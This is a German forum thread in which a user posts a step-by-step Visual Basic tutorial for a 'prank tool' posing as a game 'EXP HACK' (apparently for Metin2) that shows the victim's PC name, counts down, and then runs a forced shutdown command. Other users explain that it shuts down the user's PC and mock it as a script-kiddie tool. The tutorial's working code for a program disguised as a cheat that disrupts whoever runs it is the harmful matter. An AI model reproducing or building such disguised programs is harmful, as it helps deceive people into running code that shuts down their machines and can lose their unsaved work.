[HOW TO][VB 08]Prank Tool machen

[FreeZoNe1992]

Hallo,
ohne Vorrede gehts direkt zum tut.
Also,
1. Nenne dein programm wie du willst.
2. Adde eine neue Form.
3. Mache in die erste Form ein Paar Buttons z.B. "EXP HACK AN" & "EXP HACK AUS"
4. Mache den Button "EXP HACK AUS" auf enabled = false
5. Der Code vom Button "EXP HACK AN" wird zu:

Form2.show

6. Öffne die zweite Form.
7. Mache unten ein Label und nenne es LblCountdown
8. Mache oben ein Label und nenne es LblPCName
9. Ändere den Background in ein Bild(z.B. ein FAIL Bild).
10. Mache in das Form Load diesen Code:

LblPCName.Text = My.Computer.Name

11. Erstelle 2 Timer.
12. Mache den Interval von Timer1 auf: 1000 und stelle ihn auf true.
13. Mache den Interval von Timer2 auf: 1 und stelle ihn auch auf true.
14. Mache in den Code von Timer1 diesen Code:

LblCountdown.Text -= 1

15. Ändere den Text von LblCountdown zu: "10" (oder eurem jeweiligem Countdown).
16. Packe in den Code von Timer2 diesen Code:

If LblCountdown.Text = "0" Then
            Timer1.Stop()
            Msgbox("ByeBye",msgboxstyle.critical,"Own3d by DarkSoldier")
            Shell("shutdown -s -t 1")
            Timer2.Stop()
End If

17. Wer will kann noch diesen Code hier am Ende vom ganzen Code einbauen:

#Region "Fenster bewegen mit Maus"

    Private CurrentPosition As New System.Drawing.Point
    Private MouseButton As System.Windows.Forms.MouseButtons = Nothing

    Private Overloads Sub OnMouseDown(ByVal Sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles MyBase.MouseDown

        MyClass.MouseButton = e.Button()
        MyClass.Update()
        With MyClass.CurrentPosition
            .X = e.X()
            .Y = e.Y()
        End With

    End Sub

    Private Overloads Sub OnMouseMove(ByVal Sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles MyBase.MouseMove

        Select Case MouseButton
            Case Is = Windows.Forms.MouseButtons.Left
                MyClass.Top = Windows.Forms.Cursor.Position.Y() - MyClass.CurrentPosition.Y()
                MyClass.Left = Windows.Forms.Cursor.Position.X() - MyClass.CurrentPosition.X()
                Me.Update()
            Case Is = Nothing
                Me.Update()
                Exit Sub
        End Select
    End Sub

    Private Overloads Sub OnMouseUp(ByVal Sender As System.Object, ByVal e As System.Windows.Forms.MouseEventArgs) Handles MyBase.MouseUp
        MyClass.MouseButton = Nothing
    End Sub

#End Region

Also,
vielen Dank und zeigt uns eure Resultate.
Freundliche Grüße: DarkSoldier
P.S. Falls was nicht klappt einfach sagen, kann nämlich sein das da was fehlt weil ich net drauf geachtet habe.
P.S. 2 Und den THX Button findet hoffentlich jeder

Quelle: ECB = Gamzone (eigenes Forum ist das)

[Windmaker]

und was ist das nun ganz genau??? und was bewirkt es?

[Rainvair]

Originally Posted by Windmaker

und was ist das nun ganz genau??? und was bewirkt es?

Es fährt den PC des Nutzers runter. Scriptkiddy-tool um die Metin2-Freunde zu verarschen und dabei noch einen "Hacker"-Status zu bekommen

[ClOuDy.]

hier fehlt ein "fail" oder "no thx" button...oder einfach "duh"

[Max_-_Speed]

The Following User Says You Failed to FreeZoNe1992 For This Useless Post:

[.$am]